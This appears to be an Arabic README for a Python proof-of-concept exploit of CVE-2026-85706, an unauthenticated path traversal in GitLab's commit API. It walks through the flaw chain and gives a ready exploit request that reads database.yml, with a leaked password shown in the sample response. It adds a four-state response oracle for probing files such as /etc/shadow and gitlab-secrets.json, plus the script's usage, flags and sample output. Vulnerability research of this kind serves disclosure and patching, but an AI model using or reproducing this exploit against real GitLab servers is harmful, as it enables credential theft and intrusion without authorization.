
Python PoC لـ CVE-2026-85706، وهو اجتياز مسار غير مُصادَق عليه في GitLab CE/EE Repository Commits API يؤدي إلى تسريب ملفات محلية عشوائية عبر أوراكل رباعي الحالات.
تتيح واجهة API الخاصة بـ «إنشاء commit» في GitLab (POST /api/v4/projects/:id/repository/commits) إرسال محتوى عدد كبير من الملفات في طلب واحد. لتجنّب دخول جسم الطلب الضخم مباشرة إلى محلّل Rails، يقوم Workhorse أولاً بكتابة جسم الطلب إلى ملف مؤقت على القرص، ثم يحقن بيانات وصفية مثل file.path / file.size في الطلب المُعاد توجيهه، ويقرأ نقطة نهاية Rails الملف بناءً على هذه المعاملات. تتشكّل سلسلة الثغرة من تراكب أربع حلقات:
post ':id/repository/commits' يحتوي فقط على require_gitlab_workhorse! (الذي يتحقق فقط من أن الطلب «مُعاد توجيهه عبر Workhorse»)، بينما authenticate! الحقيقي مخفي في authorize_push_to_branch! اللاحق، وتحدث قراءة اجتياز المسار قبله.file_params_from_body_upload معاملات الطلب file.path / file.size / Content-Type مباشرةً كبيانات وصفية محقونة من Workhorse، دون التمييز بين مصادر المعاملات، فيكفي File.read(file_path) لاجتياز أي مسار محلي.Content-Type=application/x-www-form-urlencoded، يُسلَّم محتوى الملف إلى Rack::Utils.parse_nested_query للتحليل؛ فتؤدي تسلسلات % غير الصالحة في المحتوى إلى ArgumentError: invalid %-encoding (<محتوى المكوّن>)، الذي يُظهر كما هو في استجابة 400 عبر bad_request!. الإظهار بالأسبقية: & / = هي حدود المكوّنات، ويتوقف التحليل عند أول % غير صالح في المكوّن الذي يحتويه ويُظهر ذلك المكوّن، وعند غياب الفواصل يُظهر الملف بأكمله كمكوّن واحد (لا تؤدي تهريبات %xx السداسية عشرية الصالحة إلى الخطأ)..../repository/commits\z)، فتُبتلع المعاملات المزوّرة داخل محتوى الملف المكتوب على القرص. أما إضافة / في نهاية URL فلا تطابق تلك القاعدة، فتسقط إلى الوكيل العكسي الموقّع الاحتياطي — الذي يمرّر جسم الطلب الأصلي مع المعاملات المزوّرة كما هي إلى Rails مصحوبًا بـ JWT صالح، فينجح require_gitlab_workhorse!؛ وبعد تطبيع Grape للشرطة المائلة اللاحقة يظل الطلب يصيب معالج الثغرة.الشروط المسبقة: يجب أن يكون :id في URL مشروعًا موجودًا فعلاً (أي مشروع عام يكفي)، ودون تسجيل دخول على الإطلاق.
طلب الاستغلال (database.yml في نشر بقاعدة بيانات خارجية، حيث تُظهر كتلة كاملة عند احتواء كلمة المرور على تسلسل % غير صالح):
POST /api/v4/projects/1/repository/commits/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
file=&file.path=/var/opt/gitlab/gitlab-rails/etc/database.yml&file.size=1&Content-Type=application/x-www-form-urlencoded
الاستجابة (إظهار كتلة المكوّن الذي يحتوي أول % غير صالح بالكامل):
{"message":"400 Bad request - Invalid parameter: invalid %-encoding (production:\n adapter: postgresql\n username: gitlab\n password: \"P@ss%w0rd\" ...)"}
تُنفَّذ القراءة بهوية مستخدم git الخاص بعملية Puma، وتشكّل الاستجابة أوراكل رباعي الحالات:
نطاق القراءة الفعلي في النشر الافتراضي (مُختبَر عمليًا):
% بطبيعتها: سجلات ومخرجات بناء CI، المرفقات التي يرفعها المستخدمون، database.yml في نشر بقاعدة بيانات خارجية. في database.yml يكون حقل كلمة المرور فارغًا في ظل مصادقة peer عبر socket المحلية الافتراضية، ولا تظهر له قيمة إلا في نشر بقاعدة بيانات خارجية.gitlab.yml: توجد تعليقات القالب المُصيَّر في رأس الملف (حوالي السطر 19) بتسلسلات مثل 95% و%{key}، بينما توجد إعدادات بيانات الاعتماد (incoming_email، LDAP، التخزين الكائني، إلخ) بعد السطر 170 — وبالأسبقية يعني ذلك أنه في النشر الافتراضي لا يمكن إظهار سوى المقطع الأول، ولا يمكن قراءة مقطع بيانات الاعتماد؛ ولا يمكن قراءته إلا في نسخ النشر الخالية من التسلسلات المتداخلة (قوالب مخصصة، إلخ). لاحظ أيضًا أن كلمة مرور SMTP (gitlab_rails['smtp_password']) لا تُصيَّر في gitlab.yml، وإنما تُصيَّر فعليًا بيانات اعتماد incoming_email وLDAP وobject_store.secrets.yml سداسي عشري خالص لا يحتوي %، فلا يمكن إظهار محتواه (401)؛ أما gitlab.rb ومفاتيح TLS الخاصة والأرشيفات الاحتياطية فهي حصرية للمستخدم root (أوراكل 500 فقط).مُنفَّذ بمكتبة Python 3 القياسية، دون تبعيات خارجية. يقرأ السكربت النتائج رباعية الحالات تلقائيًا وفق الجدول أعلاه.
python3 exploit.py -t http://<target>:<port> # 默认读 gitlab.yml(快速验证回显)
python3 exploit.py -t http://<target>:<port> -f /etc/passwd
مثال على المخرجات (قراءة gitlab.yml في النشر الافتراضي — المُظهَر هو المقطع الأول وليس مقطع بيانات الاعتماد):
============================================================
CVE-2026-85706 | GitLab unauth path traversal | @mhtsec
============================================================
[*] CVE-2026-85706 targeting http://<target> -> /var/opt/gitlab/gitlab-rails/etc/gitlab.yml
[*] HTTP 400 | leaked
[+] Leaked content of /var/opt/gitlab/gitlab-rails/etc/gitlab.yml:
------------------------------------------------------------
# This file is generated by GitLab. Manual changes will be
# overwritten! ...
------------------------------------------------------------
للاستخدام فقط في اختبارات الأمان المُصرَّح بها وأبحاث الثغرات.
| الاستجابة | المعنى | مثال |
|---|
400 local file not present | الملف غير موجود | /etc/nonexistent |
500 Internal Server Error | موجود لكن مستخدم git لا يملك صلاحية القراءة (Errno::EACCES غير معالَج)؛ كما تسقط أخطاء تحليل فرع multipart للملفات القابلة للقراءة إلى 500 | /etc/shadow، /etc/gitlab/gitlab-secrets.json |
401 Unauthorized | موجود وقابل للقراءة، لكن المحتوى لا يحتوي تسلسل % غير صالح، فلا إظهار | /etc/passwd، /proc/self/environ |
400 invalid %-encoding (<المحتوى>) | موجود وقابل للقراءة ويحتوي تسلسل % غير صالح — تُظهر كتلة المكوّن الذي يحتويه بالكامل | سجلات تحتوي %، مخرجات بناء CI، database.yml في نشر بقاعدة بيانات خارجية |
/proc/self/*، واستكشاف وجود المشاريع الخاصة عبر تحويل معرّف المشروع إلى مسار @hashed.| المعامل | الوصف |
|---|
-t | عنوان GitLab الهدف (إلزامي)، مثل http://<target>:<port> |
-f | المسار المطلق المراد قراءته (الافتراضي /var/opt/gitlab/gitlab-rails/etc/gitlab.yml) |
-p | معرّف المشروع، أي مشروع موجود فعلاً يكفي (الافتراضي 1) |
-o | حفظ المحتوى المقروء في ملف محلي |